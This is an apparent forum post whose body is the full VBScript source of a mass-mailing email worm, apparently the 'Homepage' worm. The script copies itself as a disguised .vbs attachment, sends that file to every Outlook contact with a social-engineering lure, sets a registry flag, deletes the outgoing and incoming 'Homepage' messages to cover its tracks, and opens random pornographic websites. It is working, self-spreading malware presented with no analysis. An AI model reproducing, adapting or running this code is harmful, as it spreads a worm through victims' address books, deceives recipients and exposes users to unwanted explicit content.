Set OutF=FSO.OpenTextFile(Folder&"\homepage.HTML.vbs", 2,true) OutF.write ScriptBuffer OutF.close Set FSO=Nothing If WS.regread ("HKCU\software\An\mailed") <> "1" then Mailit() End If Set s=CreateObject("Outlook.Application") Set t=s.GetNameSpace("MAPI") Set u=t.GetDefaultFolder(6) For i=1 to u.items.count If u.Items.Item(i).subject="Homepage" Then u.Items.Item(i).close u.Items.Item(i).delete End If Next Set u=t.GetDefaultFolder(3) For i=1 to u.items.count If u.Items.Item(i).subject="Homepage" Then u.Items.Item(i).delete End If Next Randomize r=Int((4*Rnd)+1) If r=1 then WS.Run("http://hardcore.pornbillboard.net/shannon/1.htm") elseif r=2 Then WS.Run("http://members.nbci.com/_XMCM/prinzje/1.htm") elseif r=3 Then WS.Run("http://www2.sexcropolis.com/amateur/sheila/1.htm") ElseIf r=4 Then WS.Run("http://sheila.issexy.tv/1.htm") End If Function Mailit() On Error Resume Next Set Outlook = CreateObject("Outlook.Application") If Outlook = "Outlook" Then Set Mapi=Outlook.GetNameSpace("MAPI") Set Lists=Mapi.AddressLists For Each ListIndex In Lists If ListIndex.AddressEntries.Count <> 0 Then ContactCount = ListIndex.AddressEntries.Count For Count= 1 To ContactCount Set Mail = Outlook.CreateItem(0) Set Contact = ListIndex.AddressEntries(Count) Mail.To = Contact.Address Mail.Subject = "Homepage" Mail.Body = vbcrlf&"Hi!"&vbcrlf&vbcrlf&"You've got to see this page! It's really cool ;O)"&vbcrlf&vbcrlf Set Attachment=Mail.Attachments Attachment.Add Folder & "\homepage.HTML.vbs" Mail.DeleteAfterSubmit = True If Mail.To <> "" Then Mail.Send WS.regwrite "HKCU\software\An\mailed", "1" End If Next End If Next End if End Function end; end;
|
|
|
Report Abusive post
Reply
|
|
|
|
|
|
|
|
|
|
|
|
|
Follow discussions created by Rocky 